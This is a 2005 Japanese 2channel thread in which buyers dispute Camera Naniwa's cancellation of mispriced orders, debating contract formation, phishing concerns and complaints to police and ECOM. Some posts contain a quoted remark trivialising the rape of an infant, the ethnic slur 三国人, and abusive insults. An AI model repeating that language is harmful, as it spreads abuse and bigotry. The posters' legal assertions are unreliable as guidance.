405 ：番組の途中ですが名無しです ：05/03/04 17:26:16 ID:ME/sEXeX: >>397
たぶん今回のことも生活安全課なんじゃないかな？
ちなみに俺は地元所轄の生活安全課に縁があるわけだが、
少年課や刑事課と違ってわりと優しく対応してくれる。
他には市町村単位で無料弁護士相談もある、
月１で予約制が多くて時間掛かるけどね。
406 ：番組の途中ですが名無しです ：05/03/04 17:26:26 ID:GcM6z2sJ: 【大雪】関東地方で大雪の恐れ、3日～5日にかけて[1件]
733 : 名前:番組の途中ですが名無しです E-mail: 投稿日:05/03/04 01:04:13 ID:lzrBBWuU
いまベランダで小雨みてきたんだけど、普通にただのオナニーしてたぞ。
407 ：番組の途中ですが名無しです ：05/03/04 17:27:50 ID:R5RqGrMr: ID:lzrBBWuUがキモイ：；
408 ：番組の途中ですが名無しです ：05/03/04 17:29:03 ID:a3NTNGnp: >>397
http://www.npa.go.jp/cyber/policy/phishing/phishing110.htm
各都道府県警察へはここの番号で良いんだと思います。
この番号はハイテク犯罪とかの番号みたいなので・・・

ecomには相談していないんですが、各々がecomへ動かないとダメって事ですか？
ecomからナニワへのアクションがあった時にecomのリストに人数多く必要ならば相談はしますが
409 ：番組の途中ですが名無しです ：05/03/04 17:30:34 ID:y6eIGckj: >>402

文体かわりねーもんなあ。
句読点の有無や、有ったとしたら何文字程度毎とか。一行あたりの文字数とか。
ここらへんってもの凄い個人差があるんだよ。

パッと見。　全部一緒じゃん。

ま。いい燃料だと思おうや。
のんびりいこうぜ。
410 ：番組の途中ですが名無しです ：05/03/04 17:36:47 ID:lzrBBWuU: アホか？てめーらゴネ厨は生きてる資格無いんだよ！
411 ：番組の途中ですが名無しです ：05/03/04 17:37:08 ID:xsl/H6WP: >>409
ID:lzrBBWuUのおかげで、ホカホカするのはありがたいが、
「生後6ヶ月だったらレイプされても、記憶すら残らない」
なんて書いたやつかと思うと、吐き気しか感じられないよ。
412 ：番組の途中ですが名無しです ：05/03/04 17:38:14 ID:LdmJoID+: 【スポンサーに】MotoGPで2chのＡＡが見れるかも【ならないか】

バイクのロードレース世界選手権250ccクラスに参戦予定だった関口選手が現在個人スポンサーを募集中です

みんなでお金を出し合えば、マシンのカウルにAAを貼っても良いとの事！（常識の範囲で）

みんなでお金を出し合わないか？

まとめサイト
ttp://www.geocities.jp/team_2ch_sponsor/index.html

誰かスレたてて
413 ：番組の途中ですが名無しです ：05/03/04 17:38:32 ID:lzrBBWuU: だから俺じゃねーっていってんだろ？日本語わかりますか？
414 ：番組の途中ですが名無しです ：05/03/04 17:39:12 ID:xsl/H6WP: うわ、ほとんど同時の書き込みになっちまった。
こいつと、同時キーボードたたいてかと思うと、鳥肌だ。
こいつが塩山Jr.だとしたら、ナニワなんか、見るのも嫌だな。
415 ：番組の途中ですが名無しです ：05/03/04 17:39:29 ID:R5RqGrMr: どちらにしてもID:lzrBBWuUはキモっ；；
416 ：番組の途中ですが名無しです ：05/03/04 17:39:59 ID:/vWUUUBs: 新手の工作員？
417 ：番組の途中ですが名無しです ：05/03/04 17:40:28 ID:TJNOZ5rI: アークのお詫びの品って何だったの？
418 ：番組の途中ですが名無しです ：05/03/04 17:40:32 ID:xuCcxy2q: ここは三国人しかいませんから日本語通じません常識も
419 ：番組の途中ですが名無しです ：05/03/04 17:42:14 ID:xsl/H6WP: うわ、また、絡んでしまった。
きもちわるくてたまらん。
ちょいPC離れて、外の空気を吸ってくるか。
いや、こいつは、
「いまベランダで小雨みてきたんだけど、普通にただのオナニーしてたぞ。」
とか、書いてな。
外の空気さえ、汚されてしまった気分。
うぇー
420 ：番組の途中ですが名無しです ：05/03/04 17:42:37 ID:R5RqGrMr: >>418は自ら三国人であると白状したのかｗ
421 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 17:52:44 ID:hew5sG8c: 俺たちが相手にしないといけないのは三国人じゃなくて
商人だから落ち着け。
422 ：番組の途中ですが名無しです ：05/03/04 17:53:15 ID:0nHfmB9g: １匹変なのが紛れ込んでるな
423 ：番組の途中ですが名無しです ：05/03/04 17:54:50 ID:lzrBBWuU: >>421
何こいつキモッ
鳥なんか付けて仕切って英雄気取りですか？ｗ
424 ：番組の途中ですが名無しです ：05/03/04 17:57:08 ID:xsl/H6WP: キモイのは、オマエ。
425 ：番組の途中ですが名無しです ：05/03/04 18:00:09 ID:trBnvJqW: >>423
もう一度貼っておいた方がいいのかな
http://stick.newsplus.jp/id.cgi?bbs=news&word=lzrBBWuU
【フランス】生後六ヶ月の赤ん坊に売春させる…[1件]
6 : 名前:番組の途中ですが名無しです E-mail: 投稿日:05/03/04 12:26:10 ID:lzrBBWuU
逆に考えると生後6ヶ月だったらレイプされても、記憶すら残らないからある意味幸せだな
426 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 18:02:15 ID:hew5sG8c: トリップ付けたのはただ便利だったからだ。
あと、ちゃんと中継等をやる際に変な人間が虚偽を書き込まないようにだ。
英雄なものか、ここはたかが2chだ。
それくらいの自覚はある。
俺がここに書き込んでいるのはただカメラが欲しいからだ。
わかったらromってなさい。
427 ：番組の途中ですが名無しです ：05/03/04 18:03:51 ID:JhHMLXUJ: つーかまだやってたの？ｗｗ
マジで買えると思って個人情報送ったなんて馬鹿すぎるぞｗｗ
428 ：番組の途中ですが名無しです ：05/03/04 18:03:55 ID:lzrBBWuU: (ﾟДﾟ)ﾊｧ?何で俺がおまえに命令されなきゃなんねーの？
429 ：番組の途中ですが名無しです ：05/03/04 18:07:12 ID:xsl/H6WP: >>428
これはきっと間違いなく塩山正男だな。
430 ：番組の途中ですが名無しです ：05/03/04 18:13:31 ID:R5RqGrMr: >>428
塩山ﾀﾝ、早く売ってあげなよ。
431 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 18:14:56 ID:hew5sG8c: カメラを欲しい人たちもナニワ側の固有名詞を出すときは
変なこと書かない方がよくない？
もしナニワが何もかもかなぐり捨てて俺たちが訴えられた場合には
言い逃れできないよ。
そんな可能性は万が一にも無いけれど、
俺たちに全く非がないと言い張るのであれば
自らが不利になるようなことは慎もう。

まあここが2chであるということを楽しんだ上でのことだけどね。
あんまり凝り固まってもスレが沈静化してつまらないしさ。
432 ：番組の途中ですが名無しです ：05/03/04 18:17:05 ID:dtPTYNve: >>427
お前みたいオリコウサンの来るとこじゃないからあっち行きなよ。
433 ：番組の途中ですが名無しです ：05/03/04 18:17:05 ID:y6eIGckj: かわいいよID:lzrBBWuUかわいいよ

返事は早急にメールでよこすっていう話だけどさ。いつくれるんだろ。
それによって予定も変わってくるんだけどな。困ったな。
434 ：番組の途中ですが名無しです ：05/03/04 18:19:03 ID:xsl/H6WP: 塩山正男、ってナニワの特定のお方の名前ではないですよ。
だだ、ナニワにたいしては、こんなふうに、
ダンマリ、放置作戦を続けると、
お店の大事な看板がじわじわと汚されていくってことを、自覚してもらいたいわけ。
これも、ナニワに対する戦法のひとつだと思うけどね。
435 ：番組の途中ですが名無しです ：05/03/04 18:20:42 ID:y6eIGckj: >>431

俺はそれについては出来るだけ気をつけてるんだけど、気をつけた方がいいよな。
（中傷はしない・ウソは書かない・根拠のないことは書かない）

>>431ひょっとして電話した？今日の中根氏の対応、今までと違ってきたよな。
以前よりハッキリと物をいうようになったというか、悪い言い方をすれば
自分たちは非はないよ、というような姿勢になってきたような。
436 ：番組の途中ですが名無しです ：05/03/04 18:22:11 ID:Ud4wuDWn: マジで他でやってくんねーかな
おまえらと一緒に見られるの嫌なんで
437 ：番組の途中ですが名無しです ：05/03/04 18:23:23 ID:a3NTNGnp: >>435
ウソは書かないって言っても、昨日の電話みたいにこっちは簡単に間違いの無いＹＥＳかＮＯでの回答を求めてるのに
遠まわしに回答してもらっちゃ、こっちも都合よく勘違いしかねない時もあるとは思うのだが

離席していたのが戻ってきたのだから、会議か何かが終わった可能性もあるのでは？
438 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 18:29:03 ID:hew5sG8c: >>435
日曜以来かけてない。
七時になったらこっちからかけてみるわ。
439 ：番組の途中ですが名無しです ：05/03/04 18:32:00 ID:ynIS9nU8: ECOMADR　斡旋/仲介でﾒ-ﾙ発砲！
内容証明はテンプレらしきものを見せてもらえるからそれ見て書くか。

内容証明発射はECOMADRの対応見てからだけどね。
440 ：番組の途中ですが名無しです ：05/03/04 18:32:06 ID:y6eIGckj: それと。どうも気になるんだが、上の方のレスで番号非通知だとかからない、
という意味合いのレスがあるんだよな。

市外局番の前186で強制通知になるんだけど、非通知設定のままで
かけると186をつけてかけてくれというメッセージが流れるとか。

昨日の時点では184（非通知）でもかけられたんだが。
たいした問題ではないかもしれんが、なんか気味が悪いな。
441 ：番組の途中ですが名無しです ：05/03/04 18:33:21 ID:xuCcxy2q: ageんなよ
こんな糞スレ
442 ：番組の途中ですが名無しです ：05/03/04 18:34:19 ID:a3NTNGnp: 携帯からもだめになった報告があったし、公衆電話がどうなるのかが疑問かな？
試す人は今日は寒いので風邪ひかないように
443 ：番組の途中ですが名無しです ：05/03/04 18:35:40 ID:y6eIGckj: まあいいや。
明日からはIP電話からかけてみよう。
444 ：番組の途中ですが名無しです ：05/03/04 18:36:06 ID:xsl/H6WP: >>441
フィシング詐欺の新手法を根絶すべく、
社会悪と戦う善意の人たちのスレですよ。
堂々とやらせてもらいます。w
445 ：番組の途中ですが名無しです ：05/03/04 18:36:22 ID:ynIS9nU8: >>440
店側の屁にもならないプレッシャ－だよ。
「番号？....記録してますよ？┌| ∵|┘ 」
この程度の意思表明に過ぎません。

ﾒ-ﾙは深夜にｺｿｰﾘ発砲してくるだろうね。
対応を出来るだけ遅らせるために。

今までの対応見てたら見事にそのまんまでしょ？
446 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 18:37:05 ID:hew5sG8c: 一番いい方法はつながったらすぐにかけ直して貰うことさ。
俺は本社にはそうした。

こっちは自分の名前と電話番号を伝えた上でやればいい。
大切なのはこちらからは逃げも隠れもしないという態度を示すことさ。
447 ：番組の途中ですが名無しです ：05/03/04 18:42:18 ID:uTcA2/r+: ナニワの主張に屈すれば、亡人は、必至とのことだが
戦うもまた、亡人であるかもしれぬ。

だが、戦わずしての亡人は、魂を喪失する
消費者永遠の亡人であり、最後の一人まで戦うことによってのみ
死中に活を見出し得るだろう。

戦ってよし、勝たずとも、護消費者に徹したゴネ得精神さえ残れば
われらの同胞は、再起、三起するであろう
448 ：番組の途中ですが名無しです ：05/03/04 18:46:58 ID:xsl/H6WP: >>447
すばらい名文ですな。
コピペなんだろうけど、
現状にピッタリ。
449 ：番組の途中ですが名無しです ：05/03/04 18:48:14 ID:lzrBBWuU: おまえら氏ねやマジで
450 ：番組の途中ですが名無しです ：05/03/04 18:49:00 ID:xsl/H6WP: なんだ、またか、幼児虐待妄想男。
451 ：番組の途中ですが名無しです ：05/03/04 18:49:28 ID:a3NTNGnp: なんかタイミング良く発射してるつもりなんだろうけれど
「あぼ～ん」で終わっちゃってる、かわいそうに
２ちゃんブラウザってすげえ
452 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 18:49:59 ID:hew5sG8c: 今電話中。
453 ：番組の途中ですが名無しです ：05/03/04 18:50:31 ID:ynIS9nU8: ID:lzrBBWuU

http://etc3.2ch.net/denpa/
　　　　　　↑
お前の巣はこっちだろ？ﾜﾗ
454 ：番組の途中ですが名無しです ：05/03/04 18:50:49 ID:y6eIGckj: >>452

返答の時期については明言欲しいところだなあ。

無理にとは言わんが、出来たらタノム。
455 ：番組の途中ですが名無しです ：05/03/04 18:51:25 ID:xsl/H6WP: >>452
ｶﾞﾝｶﾞﾚ
456 ：番組の途中ですが名無しです ：05/03/04 18:52:34 ID:y6eIGckj: >>452

契約の状態については、警察が「ハッキリした返答を求めることが出来る」と相談者に答えている
というレスが上にあった。参考にしてくれ。
457 ：番組の途中ですが名無しです ：05/03/04 18:52:38 ID:EtNm10db: 今晩あたりメール来そうだ
458 ：番組の途中ですが名無しです ：05/03/04 18:53:11 ID:DMx6yBCk: 午前３時のメール送信
459 ：番組の途中ですが名無しです ：05/03/04 18:54:02 ID:a3NTNGnp: またそんな時間にメールが来たらもう、伝説だな
>>452
がんばって
460 ：番組の途中ですが名無しです ：05/03/04 18:54:35 ID:H4KnJPmK: そそっ、現在、契約がどのような状態になっているとナニワ側では
認識しているのかを是非聞いておくれ。
461 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 18:55:15 ID:hew5sG8c: 塩山さんとは話は出来ない。
462 ：番組の途中ですが名無しです ：05/03/04 18:55:30 ID:ynIS9nU8: >>452
ｶﾞﾝｶﾞﾚ

てか....電話が始まった途端ID:lzrBBWuU が消えた件について。
463 ：番組の途中ですが名無しです ：05/03/04 18:58:45 ID:ME/sEXeX: >>462
マジ？既に透明あぼーんしてるから状況が掴めん。
464 ：番組の途中ですが名無しです ：05/03/04 18:59:17 ID:lNtr3neZ: >>446
上に同じ！
465 ：番組の途中ですが名無しです ：05/03/04 18:59:22 ID:t36huRPs: １はいい釣り氏さんでつね。
466 ：番組の途中ですが名無しです ：05/03/04 19:00:52 ID:9ozAPPpd: つーか、新しい安売り会場はまだーーー？
カメラ買ってない漏れはつまんないでつ・・・
467 ：番組の途中ですが名無しです ：05/03/04 19:02:07 ID:a3NTNGnp: ecomに相談するときって、同じ担当の人っているの？
今回の件で数人は相談しているとは思うのだけれど、バラバラでecomにナニワ担当がいるの？
１人でナニワ担当がいた方が効率は良いとは思うのだけれど、誰か教えて。
468 ：番組の途中ですが名無しです ：05/03/04 19:02:18 ID:H4KnJPmK: しかし、ここで>>1さんがナニワ側の人間だと仮定するとだ、、、

>>1さんが諦める　→　>>1さんが諦めるならと皆諦める

という作戦が成り立つわけですが、、、
469 ：番組の途中ですが名無しです ：05/03/04 19:02:31 ID:3RxKhwqA: >>463
すごいIDだな
470 ：番組の途中ですが名無しです ：05/03/04 19:02:41 ID:W8WaateB: >>466

http://www.geocities.com/yadoota/
471 ：番組の途中ですが名無しです ：05/03/04 19:03:27 ID:jQx10MMp: いい釣り氏は、死んだ釣り氏だけだ
472 ：番組の途中ですが名無しです ：05/03/04 19:03:47 ID:SM5lJz95: 禁断の壷という代物を初めて使ってるが、プロキシで使えてNG設定できて
こりゃ画期的ですな。よくできたソフトだこと。

>>461
それは、中根氏が出さないだけで、こちらが話しをできない理由もありませんので
のちほど本社から言伝してもらうのがいいでしょう。ようするに中根氏が塩山氏に
電話を代わらなけらばいけない理由がないという主張なのでしょうね。

ですがこちらにも、塩山氏に電話に出もらうことができない理由は、ひとつもあり
ませんので。
473 ：番組の途中ですが名無しです ：05/03/04 19:13:33 ID:t36huRPs: コン！コン！　１さん？
474 ：番組の途中ですが名無しです ：05/03/04 19:14:19 ID:ynIS9nU8: 工作員さんも必死ですね。
475 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 19:15:51 ID:hew5sG8c: まだまだ。
476 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 19:21:44 ID:hew5sG8c: 誰か警察についてのレスをあげてくれ
477 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 19:22:54 ID:hew5sG8c: 俺が土日に話したことを否定されているんだが。
一旦切り。
また電話がかかってくるよ。
478 ：番組の途中ですが名無しです ：05/03/04 19:23:41 ID:ynIS9nU8: 252 ：番組の途中ですが名無しです：05/03/04 09:42:40 ID:a3NTNGnp
おまわりさんと１７分も電話しちゃったよ
・現状では犯罪性は感じられないので動きはとらない
・クレカで払っている人は、明細のチェックを怠らないこと（おかしな支払いがあればカード会社に連絡）
・どうしても不安であればカード番号の変更
・契約は白紙になっているのかどうかの確認はすることができる
　今の曖昧な返事でなくきっちりもらえ．．．
479 ：番組の途中ですが名無しです ：05/03/04 19:24:05 ID:y6eIGckj: >>477

土日に話したっていうと、契約はすでに成立しているけどもナニワが解除を申し出ているっていう
前提のこと？
480 ：番組の途中ですが名無しです ：05/03/04 19:25:41 ID:BmD0HpOE: 携帯拒否の次は非通知拒否かよ。
俺はもうすぐに変えるから構わんが
481 ：番組の途中ですが名無しです ：05/03/04 19:36:00 ID:t36huRPs: いっくし！！　１さんまだ～
482 ：番組の途中ですが名無しです ：05/03/04 19:38:31 ID:P59UsuWP: 272 番組の途中ですが名無しです 05/03/02 10:23:59 ID:8LqQ4nek
昨日、弁護士の無料相談にいってきました。

「クレカの場合、予約やすぐ決済ではない場合
予約画面にクレカの明細情報を入力させるのは
個人情報保護法に違反の恐れがおおいある。」とのこと
｛予約受付｝の場合、後日、詳しい情報をお客から聞けばいいので
大体は「名前」「住所」「電話番号」「メールアドレス」くらいだそうです。

最近のナニワの対応を話したところ
「最低でもクレジットカードでの決済の手続きをとられた方は早急に
クレジット会社に連絡と｛「フィシング詐欺」の疑いがある｝
と警察に被害届けを出されることをお勧めします。」とのことです。
483 ：番組の途中ですが名無しです ：05/03/04 19:40:48 ID:P59UsuWP: 525 番組の途中ですが名無しです 05/03/02 19:26:03 ID:WDcgXUSz
今朝、「無料相談の弁護士に相談した」と書き込みした者です。
警視庁の方に電話で問い合わせたら
http://www.npa.go.jp/cyber/policy/phishing/main.htm
「フィッシング行為について」
を教えて頂きました。ここを読んだらナニワの行為は法律違反だそうです。
また、「地元管轄警察署の生活安全課に相談に行って下さい。」
言われました。明日、仕事を休んで警察に行って来ます。
また、書き込み致します。
もうすでに書き込みがあった件ならすいません。

530 番組の途中ですが名無しです sage 05/03/02 19:35:53 ID:NfbhVm3R
つまりこの場合、情報得てどうにかするんじゃなくて、情報を得るということが「フィッシング」な訳？

531 番組の途中ですが名無しです 05/03/02 19:39:27 ID:WDcgXUSz
>>530
そのようです。
先ほどの書き込みで「法律違反だそうです」は「法律違反の疑い？」
に訂正させてください。
まだ、警察で「御墨付き」をもらったわけでないので・・・・
484 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 19:41:42 ID:hew5sG8c: 態度をひるがえしやがった！！！！
ＷＥＢＴＯＰでもメールでも電話でも
「価格表記のミスのお詫び」しかしてないってさ。
契約は成立してないといいやがった。
485 ：番組の途中ですが名無しです ：05/03/04 19:41:56 ID:y6eIGckj: 今録音内容聞いていて中根さん、面白いこといってるのに気づいたよ。

俺　「契約成立しているけど解除を申し出てられる、ということでいいか？」

中根「それでいい」

俺　「どうして？」

中根「楽天からの自動配信メールには"契約成立は店舗からのメールがあった時点"という
　　　文がある。だからこちらからメールを送ってからはじめてお取引になる」

俺　「携帯メールを入れた場合の自動配信メールにはそんな一文無いみたいだけど？」

中根「…………」

俺　「どうなの？」

中根「……契約という考え方ではないんですね」　←！！！！！！！

きっちり残ってるよー。中根さーん。
486 ：番組の途中ですが名無しです ：05/03/04 19:43:08 ID:P59UsuWP: 535 531 05/03/02 19:48:58 ID:WDcgXUSz
補足：
警視庁の係に今回の顛末を要約して話しましたが、
「それが事実なら地元所轄警察署の生活安全課に相談にいかれるか、
http://www.npa.go.jp/cyber/policy/phishing/main.htmの各警察署ホームページ
の方にお願いします。」と言われました。
やっぱり直接警察の人と会って話した方がいいとの判断で明日行って来ます。
487 ：番組の途中ですが名無しです ：05/03/04 19:43:10 ID:y6eIGckj: >>484

録音内容のアップ、考えるわ。
ただ、PCに取り込むのにちょっと時間かかるかも。
488 ：番組の途中ですが名無しです ：05/03/04 19:43:25 ID:lNtr3neZ: Nさんどんどんど壷にはまっていく
489 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 19:43:44 ID:hew5sG8c: ecomに再度連絡とってみる。
あと、明日警察行ってきます。
490 ：番組の途中ですが名無しです ：05/03/04 19:44:48 ID:P59UsuWP: 53 番組の途中ですが名無しです 05/03/03 15:54:15 ID:vTLYF73Q
今日、仕事休んで「警察」「法律事務所」「消費者センター」に
相談に行ってきました。
ここで詳しく書けませんが、

「私の代理」ということで私の自宅から｛代理人｝さんに電話をしていただきました。
結果、皆さんご存知の担当者の煮え切らない態度と、いかなる件の明言避けられました。
「ぜんぜん誠意も感じられなく相手の真意が読み取れない」と言っており、
他方からのアドバイスもあり、３月１７日のKissDn発売日まで店側から当方の納得がいく様
なメールor電話を待って、もし、納得できない内容のメールor電話、音沙汰なしの場合は
こちら側もそれなりの対応をさせていただきます。

クレジットカード情報を申し込みの際知らせている方は各相談窓口や法律事務所
警察への相談を強く進めます！

このメッセージはナニワのwebショップの掲示板にも書き込みしました。

図書館・インターネットカフェ・漫画喫茶などからの書き込みに悪質な
のが多いみたいですね！

とりあえず報告でした。
491 ：番組の途中ですが名無しです ：05/03/04 19:45:06 ID:lzrBBWuU: おまえらマジで三国人だろ？きもっ
492 ：番組の途中ですが名無しです ：05/03/04 19:45:19 ID:v35CmL/2: まだやってたのか！誰か買えた人いる？
493 ：番組の途中ですが名無しです ：05/03/04 19:45:54 ID:BmD0HpOE: http://www.rakuten.co.jp/naniwa/index.html
何で画像なんだよ。
http://image.www.rakuten.co.jp/naniwa/img10261203540.jpeg
494 ：番組の途中ですが名無しです ：05/03/04 19:47:00 ID:YkaCRywj: 言うことがコロコロ変わる時は録音が強い味方だな
495 ：番組の途中ですが名無しです ：05/03/04 19:47:09 ID:y6eIGckj: すまん！！！ >>485|の内容に致命的なミスがあった！

俺　「契約成立しているけど解除を申し出てられる、ということでいいか？」

中根「そうではない。価格表示にミスがあったのは確かだが、それに加えて契約成立していない」
（ここ修正箇所）

俺　「どうして？」

中根「楽天からの自動配信メールには"契約成立は店舗からのメールがあった時点"という
　　　文がある。だからこちらからメールを送ってからはじめてお取引になる」

俺　「携帯メールを入れた場合の自動配信メールにはそんな一文無いみたいだけど？」

中根「…………」

俺　「どうなの？」

中根「……契約という考え方ではないんですね」　←！！！！！！！
496 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 19:48:04 ID:hew5sG8c: あと、「はやく用件終わったんだから電話きらせろ」って態度も最悪だ。
途中ちょっとため口をきいたり悪態をついたのも最悪だ。
497 ：番組の途中ですが名無しです ：05/03/04 19:48:24 ID:3Bc4+udm: 485 ：番組の途中ですが名無しです：05/03/04 19:41:56 ID:y6eIGckj

今録音内容聞いていて中根さん、面白いこといってるのに気づいたよ。

俺　契約成立しているけど解除を「申し出てられる」、ということでいいか？
498 ：番組の途中ですが名無しです ：05/03/04 19:48:43 ID:lzrBBWuU: おまえら相手にいちいち敬語使えるか
499 ：番組の途中ですが名無しです ：05/03/04 19:49:40 ID:GeqBsPTr: 俺はＮ根さんも電話対応がんばってるみたいだからって、
ちょっと同情しはじめてたんだけど
今日のＮ根さんの態度が本当だったら・・・
500 ：番組の途中ですが名無しです ：05/03/04 19:50:07 ID:kX2/eg3f: １＆５６０ ◆yohAYGjGLI は今からでも録音した方がいいような気がする
501 ：番組の途中ですが名無しです ：05/03/04 19:50:11 ID:lNtr3neZ: 警察は生活安全課に行って下さい。
ECOMの回答メールをコピーもって行かれるといいかと思います。
私が行った警察署はWEB接続のPCがあったので一通り見てもらいました。

民事っぽい話でもアドバイスはいただけました。

私もECOMの回答メールのコピーをもって警察に行ってきます。
502 ：番組の途中ですが名無しです ：05/03/04 19:50:32 ID:XkFjIa2D: アークの粗品がまだこない
503 ：番組の途中ですが名無しです ：05/03/04 19:51:38 ID:7one3b3j: 今回の事件は、個人情報保護法が施行される4月になる前に
意図的にやったとしか思えんな。
504 ：番組の途中ですが名無しです ：05/03/04 19:51:46 ID:t36huRPs: 糸、切れちゃた？
505 ：番組の途中ですが名無しです ：05/03/04 19:55:28 ID:0kMEhU/k: 注文から丸一日以上放置しておいて契約未成立を主張する資格があるんでしょうかね
506 ：番組の途中ですが名無しです ：05/03/04 19:55:55 ID:y6eIGckj: 今朝から、中根さんの電話態度がとたんにヒドくなってる気がする。。。
507 ：番組の途中ですが名無しです ：05/03/04 20:01:57 ID:P59UsuWP: 会社の方針が決定したんでないか？
びた一文払わないって。
これだけ強気でくるってことはやっぱり今晩あたりメール送ってくるつもりじゃね？
キャンセルメール届いたらこちらもしかるべき対処をさせて頂くが。
508 ：番組の途中ですが名無しです ：05/03/04 20:03:54 ID:y6eIGckj: あの表記を信用して注文した後、機材買った人もいるんだがな。

ecomの動きについては言えないが、本当、下手したらここからさらに拗れるかもしれないな。。
509 ：番組の途中ですが名無しです ：05/03/04 20:14:30 ID:lf98/BNM: 携帯申し込み組だけど、ナニワから速達が届いた。中身は晒されていた３月１日のパソコン宛てのメールと同じ。携帯だと文字数に制限があるから、郵送したんだとさ。

当然、契約の有無についての言及はナシ。
510 ：番組の途中ですが名無しです ：05/03/04 20:16:01 ID:o7JvLLWg: 楽天に出店するのに最低月4万かかるわけやから
店閉めただけでも、我らの功績大きい、後はどれだけ口コミで広められるか
にかかってる。
511 ：番組の途中ですが名無しです ：05/03/04 20:22:08 ID:P59UsuWP: 担当者いの態度の変化は精神的に厳しくなってきてるのも大きいのかもな。
社内からも社外からも目の仇にされてるだろうから。
もうナニワじゃ将来の出世も厳しくなっただろうに辞めずにやってるだけえらいわ。
同情はするけどこちらの主張は遠慮なくさせてもらうわけだが。
512 ：番組の途中ですが名無しです ：05/03/04 20:23:32 ID:ynIS9nU8: さてまたナニワの電話が留守番電話になったわけだが。
513 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 20:29:26 ID:hew5sG8c: 俺は日曜の段階で

「契約の成立はしているにもかかわらず、今回の件では表記価格の入力のミスがあり、
その価格がカメラのナニワとしては販売できる価格ではないから売らないだけなんですね？
二次的に｛楽天の規約から契約が成立していないから売らない｝では無いんですね？
契約自体は成立しているにもかかわらず、それを拒否しているんですね？」

としつこく聞いたんだけどな…
それでYESの回答を貰った。

なのに何で今日は
「楽天の規約より、こちらから確認メールを送らない限り契約は成立していない」
なんだよ！

「楽天の規約を利用して売らないわけではないし、今後も（規約を）利用しない」
ってはっきりいったじゃん！

俺は嘘をつかれたぞ！！！
514 ：番組の途中ですが名無しです ：05/03/04 20:29:53 ID:P59UsuWP: >>509
どういう内容が届くのかと興味あったがPC組と同じか。
携帯注文組もPC注文組も同様に扱うつもりなんだろうか。

>>510
まだあくまで休業だからな。まぁ、販売しないで再出発してもどうなるかは目に見えているが。
営業妨害で訴えてきたら伝説になれるな。
515 ：番組の途中ですが名無しです ：05/03/04 20:30:02 ID:Ud4wuDWn: >>511
あはは何様のつもり？
お前みたいな社会のクズが何行ってるのﾌﾟｹﾞﾗ
516 ：番組の途中ですが名無しです ：05/03/04 20:30:26 ID:ynIS9nU8: 楽天の履歴消えてるぞ！
517 ：番組の途中ですが名無しです ：05/03/04 20:32:31 ID:KoX9KHTr: だから録音しろといったのに
518 ：番組の途中ですが名無しです ：05/03/04 20:33:05 ID:9ozAPPpd: >>513
録音しとかないとなあ・・・
519 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 20:33:32 ID:hew5sG8c: 俺は５時間くらいナニワと電話しているんだよ！
ふざんけんな、時間を返してくれ。

何が「○○様はそうとられたんですよね？」だよ。
「○○様がそうた手段（警察に通報等）をするのは○○様の意志ですので…」だよ！

俺はあんたから契約は成立しているって言質はとってるんだよ。
「言った言ってないの水掛け論になるからはやく電話を切らせてくれ」だ？

録音していればよかった…
520 ：番組の途中ですが名無しです ：05/03/04 20:34:51 ID:Ud4wuDWn: >>519
おまえが勝手に電話して何いってるんだよｗｗｗ
521 ：番組の途中ですが名無しです ：05/03/04 20:36:42 ID:5q6baxOH: よく釣れるスレはここですか？
522 ：番組の途中ですが名無しです ：05/03/04 20:36:54 ID:ynIS9nU8: 留守番電話になった途端沸いてきたID:Ud4wuDWnの件について。
523 ：番組の途中ですが名無しです ：05/03/04 20:38:16 ID:P59UsuWP: >>519
証拠さえ残らなければ何でもありかよ。まじで酷い対応だな。

前スレあたりにマイクをPCに繋げて録音ソフトで録音できるみたいなことを言ってた人がいたが詳細希望。
もしその方法が使えそうなら明日警察行くついでに安物のマイクでも買ってきて録音されたほうがいいよ。
現状で電話するのは非常にもったいないわ。
524 ：番組の途中ですが名無しです ：05/03/04 20:40:04 ID:9ozAPPpd: SDカードに録音できる携帯電話を使えば？
525 ：番組の途中ですが名無しです ：05/03/04 20:40:13 ID:Ud4wuDWn: 大抵の会社には顧問弁護士がいるからな
おまえらには勝ち目無しﾌﾟｹﾞﾗｳﾋｮｰ
526 ：番組の途中ですが名無しです ：05/03/04 20:40:52 ID:cjd3LYRM: 「録音してない」とここで書いたのもちとアレだな。
黙ってれば向こうにとって心理的な縛りになったかも。
527 ：番組の途中ですが名無しです ：05/03/04 20:41:22 ID:BmD0HpOE: >>524
それって相手の声しか録音できなくない？
電話って大体そうじゃん。
>>523
イヤホンもマイクになる罠
質は悪いが
528 ：番組の途中ですが名無しです ：05/03/04 20:42:17 ID:9ozAPPpd: >>527
あ、そうなのか・・・
529 ：１＆５６０ ◆yohAYGjGLI ：05/03/04 20:42:43 ID:hew5sG8c: 録音しているしていないはこっちの自由だとさ。
マジで土曜日曜の電話を録音しておけばecomとの回答で
完全勝利だったのに…
530 ：番組の途中ですが名無しです ：05/03/04 20:43:47 ID:R0z9unrm: Nは近くの法律関係の詳しいのに入れ知恵されたんじゃないの？

売れないということ。
弱気を見せないこと。
企業相手でないので裁判になることはない。

これが今日の彼の根底を流れるものなんじゃ？
531 ：番組の途中ですが名無しです ：05/03/04 20:44:20 ID:Ud4wuDWn: でた！一方的な勝利宣言ｗ
532 ：番組の途中ですが名無しです ：05/03/04 20:46:01 ID:ynIS9nU8: ID:Ud4wuDWn

かわいいな。おまえ。ｗ
533 ：番組の途中ですが名無しです ：05/03/04 20:46:10 ID:oAL5OG9Y: 厨がよく使う言葉
「ｗ」
「でた！」
534 ：番組の途中ですが名無しです ：05/03/04 20:47:44 ID:P59UsuWP: 録音しておきながら然るべきときがくるまでダンマリ決め込んでる香具師はダンディだな。
535 ：番組の途中ですが名無しです ：05/03/04 20:49:01 ID:EiKTHTBO: カテナの時、楽天は対岸の花火だったんだろうな～
なんで何も対策しないんだろうね　呆れるなほんと
